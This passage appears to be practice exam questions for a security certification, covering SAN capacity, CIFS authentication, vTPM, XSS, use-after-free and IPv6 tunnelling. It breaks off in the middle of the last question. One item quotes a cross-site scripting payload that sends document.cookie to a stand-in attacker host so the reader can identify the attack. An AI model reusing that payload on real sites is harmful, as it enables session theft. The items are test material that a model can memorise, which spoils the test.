Company ABC's SAN is nearing capacity, and will cause costly downtimes if servers run out of disk space. Which of the following is a more cost effective alternative to buying a new SAN?A. Enable multipath to increase availability.B. Enable deduplication on the storage poolsC. Implement snapshots to reduce virtual sizeD. Implement replication to offsite datacenter

A systems admin establishes a CIFS share on a UNIX device to share data to Windows systems. The security authentication on the Windows domain is set to the highest level. Windows users are stating that they cannot authenticate to the UNIX share. Which of the following settings on the UNIX server would correct this problem?
A. Refuse LM and only accept NTLMv2B. Accept only LMC. Refuse NTLMv2 and accept LMD. Accept only NTLM

A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines. In addition to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules on the VMs. Which of the following will meet this goal without requiring any hardware pass-through implementations?A. vTPMB. HSMC. TPMD. INE

A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST way to ensure confidentiality of individual operating system data?A. Encryption of each individual partitionB. Encryption of the SSD at the file levelC. FDE of each logical volume on the SSDD. FDE of the entire SSD as a single disk

After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web-based shopping cart:SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the $USERINPUT variable and a timestamp in the form of MM-DD-YYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart's items?A. Input validationB. SQL injectionC. TOCTOUD. Session hijacking

The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the admin wants to move the drives to a storage array from a different manufacturer in order to access the data. Which of the following issues may potentially occur?A. The data may not be in a usable formatB. The storage array is not FCoE basedC. The data may need a file system checkD. The new storage array also only has a single controller

Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser, crashes the browser and then allows him to gain remote code execution in the context of the victim's privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?A. Integer overflowB. Click-jackingC. Race conditionD. SQL injectionE. Use after freeF. Input validation

A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?A. Client side input validationB. Stored procedureC. Encrypting credit card detailsD. Regular expression matching

A security administrator was doing a packet capture and noticed a system communicating with an unauthorized address within the 2001::/32 prefix. The network admin confirms there is no IPv6 routing into or out of the network. Which of the following is the BEST course of action?A. Investigate network traffic and block UDP port 3544 at the firewallB. Remove the system from the network and disable IPv6 at the routerC. Locate and remove the unauthorized 6to4 relay from the networkD. Disable the switch port and block the 2001::/32 traffic at the firewall

A security administrator notices the following line in a server's security log:<input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='http://badsite.com/?q='document.cookie</script?') + "';The admin is concerned that it will take the developer a lot of time to fix the app that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?A. WAFB. Input validationC. SIEMD. SandboxingE. DAM

A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the following trusted system concepts can be implemented?A. Software-based root of trustB. Continuous chain of trustC. Chain of trust with a hardware root of trustD. Software-based trust anchor with no root of trust

An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a datacenter failure?A. Replicate NAS changes to the tape backups at the other datacenterB. Ensure each server has two HBAs connected through two routes to the NASC. Establish deduplication across diverse storage pathsD. Establish a SAN that replicates between datacenters

An application present on the majority of an organization's 1000 systems is vulnerable to a buffer overflow attack. Which of the following is the MOST comprehensive way to resolve this issue?A.
